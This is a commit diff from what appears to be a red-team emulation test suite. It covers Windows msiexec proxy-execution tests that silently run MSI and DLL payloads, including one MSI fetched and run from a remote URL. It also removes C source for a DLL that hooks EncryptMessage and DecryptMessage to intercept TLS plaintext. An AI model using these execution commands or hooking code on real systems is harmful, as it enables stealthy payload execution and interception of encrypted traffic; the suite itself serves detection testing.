Adding and refactoring msiexec tests (#1861)

This commit is contained in:
Matt Graeber
2022-04-11 16:05:24 -04:00
committed by GitHub
parent 905e3df079
commit 40ce7a7cea
9 changed files with 324 additions and 166 deletions
+245 -35
View File
@@ -1,67 +1,277 @@
attack_technique: T1218.007
display_name: 'Signed Binary Proxy Execution: Msiexec'
atomic_tests:
- name: Msiexec.exe - Execute Local MSI file
auto_generated_guid: 0683e8f7-a27b-4b62-b7ab-dc7d4fed1df8
- name: Msiexec.exe - Execute Local MSI file with embedded JScript
description: |
Execute arbitrary MSI file. Commonly seen in application installation. The MSI opens notepad.exe when sucessfully executed.
Executes an MSI containing embedded JScript code using msiexec.exe
supported_platforms:
- windows
input_arguments:
msi_payload:
description: MSI file to execute
type: Path
default: PathToAtomicsFolder\T1218.007\src\Win32\T1218.msi
default: PathToAtomicsFolder\T1218.007\src\T1218.007_JScript.msi
action:
description: |
Specifies the MSI action to perform: i (install), a (admin), j (advertise). The included MSI is designed to support all three action types.
type: String
default: i
dependency_executor_name: powershell
dependencies:
- description: |
T1218.msi must exist on disk at specified location (#{msi_payload})
The MSI file must exist on disk at specified location (#{msi_payload})
prereq_command: |
if (Test-Path #{msi_payload}) {exit 0} else {exit 1}
get_prereq_command: |
Write-Host "You must provide your own MSI"
executor:
command: |
msiexec.exe /q /i "#{msi_payload}"
msiexec.exe /q /#{action} "#{msi_payload}"
name: command_prompt
- name: Msiexec.exe - Execute Local MSI file with embedded VBScript
description: |
Executes an MSI containing embedded VBScript code using msiexec.exe
supported_platforms:
- windows
input_arguments:
msi_payload:
description: MSI file to execute
type: Path
default: PathToAtomicsFolder\T1218.007\src\T1218.007_VBScript.msi
action:
description: |
Specifies the MSI action to perform: i (install), a (admin), j (advertise). The included MSI is designed to support all three action types.
type: String
default: i
dependency_executor_name: powershell
dependencies:
- description: |
The MSI file must exist on disk at specified location (#{msi_payload})
prereq_command: |
if (Test-Path #{msi_payload}) {exit 0} else {exit 1}
get_prereq_command: |
Write-Host "You must provide your own MSI"
executor:
command: |
msiexec.exe /q /#{action} "#{msi_payload}"
name: command_prompt
- name: Msiexec.exe - Execute Local MSI file with an embedded DLL
description: |
Executes an MSI containing an embedded DLL using msiexec.exe
supported_platforms:
- windows
input_arguments:
msi_payload:
description: MSI file to execute
type: Path
default: PathToAtomicsFolder\T1218.007\src\T1218.007_DLL.msi
action:
description: |
Specifies the MSI action to perform: i (install), a (admin), j (advertise). The included MSI is designed to support all three action types.
type: String
default: i
dependency_executor_name: powershell
dependencies:
- description: |
The MSI file must exist on disk at specified location (#{msi_payload})
prereq_command: |
if (Test-Path #{msi_payload}) {exit 0} else {exit 1}
get_prereq_command: |
Write-Host "You must provide your own MSI"
executor:
command: |
msiexec.exe /q /#{action} "#{msi_payload}"
name: command_prompt
- name: Msiexec.exe - Execute Local MSI file with an embedded EXE
description: |
Executes an MSI containing an embedded EXE using msiexec.exe
supported_platforms:
- windows
input_arguments:
msi_payload:
description: MSI file to execute
type: Path
default: PathToAtomicsFolder\T1218.007\src\T1218.007_EXE.msi
action:
description: |
Specifies the MSI action to perform: i (install), a (admin), j (advertise). The included MSI is designed to support all three action types.
type: String
default: i
dependency_executor_name: powershell
dependencies:
- description: |
The MSI file must exist on disk at specified location (#{msi_payload})
prereq_command: |
if (Test-Path #{msi_payload}) {exit 0} else {exit 1}
get_prereq_command: |
Write-Host "You must provide your own MSI"
executor:
command: |
msiexec.exe /q /#{action} "#{msi_payload}"
name: command_prompt
- name: WMI Win32_Product Class - Execute Local MSI file with embedded JScript
description: |
Executes an MSI containing embedded JScript code using the WMI Win32_Product class
supported_platforms:
- windows
input_arguments:
msi_payload:
description: MSI file to execute
type: Path
default: PathToAtomicsFolder\T1218.007\src\T1218.007_JScript.msi
action:
description: |
Specifies the MSI action to perform: Install, Admin, Advertise. The included MSI is designed to support all three action types.
type: String
default: Install
dependency_executor_name: powershell
dependencies:
- description: |
The MSI file must exist on disk at specified location (#{msi_payload})
prereq_command: |
if (Test-Path #{msi_payload}) {exit 0} else {exit 1}
get_prereq_command: |
Write-Host "You must provide your own MSI"
executor:
command: |
Invoke-CimMethod -ClassName Win32_Product -MethodName #{action} -Arguments @{ PackageLocation = '#{msi_payload}' }
name: powershell
- name: WMI Win32_Product Class - Execute Local MSI file with embedded VBScript
description: |
Executes an MSI containing embedded VBScript code using the WMI Win32_Product class
supported_platforms:
- windows
input_arguments:
msi_payload:
description: MSI file to execute
type: Path
default: PathToAtomicsFolder\T1218.007\src\T1218.007_VBScript.msi
action:
description: |
Specifies the MSI action to perform: Install, Admin, Advertise. The included MSI is designed to support all three action types.
type: String
default: Install
dependency_executor_name: powershell
dependencies:
- description: |
The MSI file must exist on disk at specified location (#{msi_payload})
prereq_command: |
if (Test-Path #{msi_payload}) {exit 0} else {exit 1}
get_prereq_command: |
Write-Host "You must provide your own MSI"
executor:
command: |
Invoke-CimMethod -ClassName Win32_Product -MethodName #{action} -Arguments @{ PackageLocation = '#{msi_payload}' }
name: powershell
- name: WMI Win32_Product Class - Execute Local MSI file with an embedded DLL
description: |
Executes an MSI containing an embedded DLL using the WMI Win32_Product class
supported_platforms:
- windows
input_arguments:
msi_payload:
description: MSI file to execute
type: Path
default: PathToAtomicsFolder\T1218.007\src\T1218.007_DLL.msi
action:
description: |
Specifies the MSI action to perform: Install, Admin, Advertise. The included MSI is designed to support all three action types.
type: String
default: Install
dependency_executor_name: powershell
dependencies:
- description: |
The MSI file must exist on disk at specified location (#{msi_payload})
prereq_command: |
if (Test-Path #{msi_payload}) {exit 0} else {exit 1}
get_prereq_command: |
Write-Host "You must provide your own MSI"
executor:
command: |
Invoke-CimMethod -ClassName Win32_Product -MethodName #{action} -Arguments @{ PackageLocation = '#{msi_payload}' }
name: powershell
- name: WMI Win32_Product Class - Execute Local MSI file with an embedded EXE
description: |
Executes an MSI containing an embedded EXE using the WMI Win32_Product class
supported_platforms:
- windows
input_arguments:
msi_payload:
description: MSI file to execute
type: Path
default: PathToAtomicsFolder\T1218.007\src\T1218.007_EXE.msi
action:
description: |
Specifies the MSI action to perform: Install, Admin, Advertise. The included MSI is designed to support all three action types.
type: String
default: Install
dependency_executor_name: powershell
dependencies:
- description: |
The MSI file must exist on disk at specified location (#{msi_payload})
prereq_command: |
if (Test-Path #{msi_payload}) {exit 0} else {exit 1}
get_prereq_command: |
Write-Host "You must provide your own MSI"
executor:
command: |
Invoke-CimMethod -ClassName Win32_Product -MethodName #{action} -Arguments @{ PackageLocation = '#{msi_payload}' }
name: powershell
- name: Msiexec.exe - Execute the DllRegisterServer function of a DLL
description: |
Loads a DLL into msiexec.exe and calls its DllRegisterServer function. Note: the DLL included in the "src" folder is only built for 64-bit, so this won't work on a 32-bit OS.
supported_platforms:
- windows
input_arguments:
dll_payload:
description: DLL to execute that has an implemented DllRegisterServer function
type: Path
default: PathToAtomicsFolder\T1218.007\src\MSIRunner.dll
dependency_executor_name: powershell
dependencies:
- description: |
The DLL must exist on disk at specified location (#{dll_payload})
prereq_command: |
if (Test-Path #{dll_payload}) {exit 0} else {exit 1}
get_prereq_command: |
Write-Host "You must provide your own MSI"
executor:
command: |
msiexec.exe /y "#{dll_payload}"
name: command_prompt
- name: Msiexec.exe - Execute the DllUnregisterServer function of a DLL
description: |
Loads a DLL into msiexec.exe and calls its DllUnregisterServer function. Note: the DLL included in the "src" folder is only built for 64-bit, so this won't work on a 32-bit OS.
supported_platforms:
- windows
input_arguments:
dll_payload:
description: DLL to execute that has an implemented DllUnregisterServer function
type: Path
default: PathToAtomicsFolder\T1218.007\src\MSIRunner.dll
dependency_executor_name: powershell
dependencies:
- description: |
The DLL must exist on disk at specified location (#{dll_payload})
prereq_command: |
if (Test-Path #{dll_payload}) {exit 0} else {exit 1}
get_prereq_command: |
Write-Host "You must provide your own MSI"
executor:
command: |
msiexec.exe /z "#{dll_payload}"
name: command_prompt
- name: Msiexec.exe - Execute Remote MSI file
auto_generated_guid: bde7d2fe-d049-458d-a362-abda32a7e649
description: |
Execute arbitrary MSI file retrieved remotely. Less commonly seen in application installation, commonly seen in malware execution. The MSI opens notepad.exe when sucessfully executed.
Execute arbitrary MSI file retrieved remotely. Less commonly seen in application installation, commonly seen in malware execution. The MSI executes a built-in JScript payload that launches powershell.exe.
supported_platforms:
- windows
input_arguments:
msi_payload:
description: MSI file to execute
type: String
default: https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.007/src/Win32/T1218.msi
default: https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.007/src/T1218.007_JScript.msi
executor:
command: |
msiexec.exe /q /i "#{msi_payload}"
name: command_prompt
- name: Msiexec.exe - Execute Arbitrary DLL
auto_generated_guid: 66f64bd5-7c35-4c24-953a-04ca30a0a0ec
description: |
Execute arbitrary DLL file stored locally. Commonly seen in application installation.
Upon execution, a window titled "Boom!" will open that says "Locked and Loaded!". For 32 bit systems change the dll_payload argument to the Win32 folder.
By default, if the src folder is not in place, it will download the 64 bit version.
supported_platforms:
- windows
input_arguments:
dll_payload:
description: DLL to execute
type: Path
default: PathToAtomicsFolder\T1218.007\src\x64\T1218.dll
dependency_executor_name: powershell
dependencies:
- description: |
T1218.dll must exist on disk at specified location (#{dll_payload})
prereq_command: |
if (Test-Path #{dll_payload}) {exit 0} else {exit 1}
get_prereq_command: |
New-Item -Type Directory (split-path #{dll_payload}) -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.007/src/x64/T1218.dll" -OutFile "#{dll_payload}"
executor:
command: |
msiexec.exe /y "#{dll_payload}"
name: command_prompt
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Regular → Executable
+79 -131
View File
@@ -1,147 +1,95 @@
#define SECURITY_WIN32 //Define First Before Imports.
#include <windows.h>
#include <stdio.h>
#include <Sspi.h> //Be sure to reference secur32.lib in Linker | Input | Additional Dependencies
#include <msi.h>
#include <Msiquery.h>
#pragma comment(lib, "msi.lib")
FARPROC fpEncryptMessage; //Pointer To The Original Location
BYTE bSavedByte; //Saved Byte Overwritten by 0xCC -
UINT __stdcall CustomAction(MSIHANDLE hInstall) {
PROCESS_INFORMATION processInformation;
STARTUPINFO startupInfo;
BOOL creationResult;
FARPROC fpDecryptMessage; //Pointer To The Original Location
BYTE bSavedByte2; //Saved Byte Overwritten by 0xCC -
WCHAR szCmdline[] = L"powershell.exe -nop -Command Write-Host CustomAction export executed me; exit";
ZeroMemory(&processInformation, sizeof(processInformation));
ZeroMemory(&startupInfo, sizeof(startupInfo));
startupInfo.cb = sizeof(startupInfo);
creationResult = CreateProcess(
NULL,
szCmdline,
NULL,
NULL,
FALSE,
CREATE_NO_WINDOW,
NULL,
NULL,
&startupInfo,
&processInformation);
// Original Idea/Reference Blog Post Here:
// https://0x00sec.org/t/user-mode-rootkits-iat-and-inline-hooking/1108
// PoC by Casey Smith @subTee
// From PowerShell
// mavinject.exe $pid /INJECTRUNNING C:\AtomicTests\AtomicSSLHookx64.dll
// curl https://www.example.com
// Should Hook and Display Request/Response from HTTPS
BOOL WriteMemory(FARPROC fpFunc, LPCBYTE b, SIZE_T size) {
DWORD dwOldProt = 0;
if (VirtualProtect(fpFunc, size, PAGE_EXECUTE_READWRITE, &dwOldProt) == FALSE) {
return FALSE;
}
MoveMemory(fpFunc, b, size);
return VirtualProtect(fpFunc, size, dwOldProt, &dwOldProt);
return 0;
}
//TODO, Combine HOOK Function To take 2 params. DLL and Function Name.
VOID HookFunction(VOID) {
fpEncryptMessage = GetProcAddress(LoadLibrary(L"sspicli.dll"), "EncryptMessage");
if (fpEncryptMessage == NULL) {
return;
}
HRESULT DllRegisterServer() {
PROCESS_INFORMATION processInformation;
STARTUPINFO startupInfo;
BOOL creationResult;
bSavedByte = *(LPBYTE)fpEncryptMessage;
WCHAR szCmdline[] = L"powershell.exe -nop -Command Write-Host DllRegisterServer export executed me; exit";
const BYTE bInt3 = 0xCC;
if (WriteMemory(fpEncryptMessage, &bInt3, sizeof(BYTE)) == FALSE) {
ExitThread(0);
}
ZeroMemory(&processInformation, sizeof(processInformation));
ZeroMemory(&startupInfo, sizeof(startupInfo));
startupInfo.cb = sizeof(startupInfo);
creationResult = CreateProcess(
NULL,
szCmdline,
NULL,
NULL,
FALSE,
CREATE_NO_WINDOW,
NULL,
NULL,
&startupInfo,
&processInformation);
return 0;
}
VOID HookFunction2(VOID) {
fpDecryptMessage = GetProcAddress(LoadLibrary(L"sspicli.dll"), "DecryptMessage");
if (fpDecryptMessage == NULL) {
return;
}
HRESULT DllUnregisterServer() {
PROCESS_INFORMATION processInformation;
STARTUPINFO startupInfo;
BOOL creationResult;
bSavedByte2 = *(LPBYTE)fpDecryptMessage;
WCHAR szCmdline[] = L"powershell.exe -nop -Command Write-Host DllUnregisterServer export executed me; exit";
const BYTE bInt3 = 0xCC;
if (WriteMemory(fpDecryptMessage, &bInt3, sizeof(BYTE)) == FALSE) {
ExitThread(0);
}
ZeroMemory(&processInformation, sizeof(processInformation));
ZeroMemory(&startupInfo, sizeof(startupInfo));
startupInfo.cb = sizeof(startupInfo);
creationResult = CreateProcess(
NULL,
szCmdline,
NULL,
NULL,
FALSE,
CREATE_NO_WINDOW,
NULL,
NULL,
&startupInfo,
&processInformation);
return 0;
}
SECURITY_STATUS MyEncryptMessage(
PCtxtHandle phContext,
ULONG fQOP,
PSecBufferDesc pMessage,
ULONG MessageSeqNo
)
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
char* buffer = (char*)((DWORD_PTR)(pMessage->pBuffers->pvBuffer) + 0x29); //Just Hardcode for PoC
::MessageBoxA(NULL, buffer, "MITM Intercept", 0);
if (WriteMemory(fpEncryptMessage, &bSavedByte, sizeof(BYTE)) == FALSE) {
ExitThread(0);
}
SECURITY_STATUS SEC_EntryRet = EncryptMessage(phContext, fQOP, pMessage, MessageSeqNo);
HookFunction();
return SEC_EntryRet;
}
SECURITY_STATUS MyDecryptMessage(
PCtxtHandle phContext,
PSecBufferDesc pMessage,
ULONG MessageSeqNo,
ULONG fQOP
)
{
if (WriteMemory(fpDecryptMessage, &bSavedByte2, sizeof(BYTE)) == FALSE) {
ExitThread(0);
}
SECURITY_STATUS SEC_EntryRet = DecryptMessage(phContext, pMessage, MessageSeqNo, &fQOP );
char* buffer = (char*)(pMessage->pBuffers->pvBuffer);
::MessageBoxA(NULL, buffer, "MITM Intercept", 0);
HookFunction2();
return SEC_EntryRet;
}
LONG WINAPI
MyVectoredExceptionHandler1(
struct _EXCEPTION_POINTERS *ExceptionInfo
)
{
UNREFERENCED_PARAMETER(ExceptionInfo);
#ifdef _WIN64
if (ExceptionInfo->ContextRecord->Rip == (DWORD_PTR)fpEncryptMessage) {
ExceptionInfo->ContextRecord->Rip = (DWORD_PTR)MyEncryptMessage;
}
if (ExceptionInfo->ContextRecord->Rip == (DWORD_PTR)fpDecryptMessage) {
ExceptionInfo->ContextRecord->Rip = (DWORD_PTR)MyDecryptMessage;
}
#else
if (ExceptionInfo->ContextRecord->Eip == (DWORD_PTR)fpEncryptMessage) {
ExceptionInfo->ContextRecord->Eip = (DWORD_PTR)MyEncryptMessage;
}
if (ExceptionInfo->ContextRecord->Eip == (DWORD_PTR)fpDecryptMessage) {
ExceptionInfo->ContextRecord->Eip = (DWORD_PTR)MyDecryptMessage;
}
#endif
return EXCEPTION_CONTINUE_SEARCH;
}
BOOL APIENTRY DllMain(HANDLE hInstance, DWORD fdwReason, LPVOID lpReserved) {
switch (fdwReason) {
case DLL_PROCESS_ATTACH:
AddVectoredExceptionHandler(1, (PVECTORED_EXCEPTION_HANDLER)MyVectoredExceptionHandler1);
HookFunction();
HookFunction2();
::MessageBoxA(NULL, "Locked and Loaded!", "Boom!", 0);
break;
}
return TRUE;
}
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
Binary file not shown.
Binary file not shown.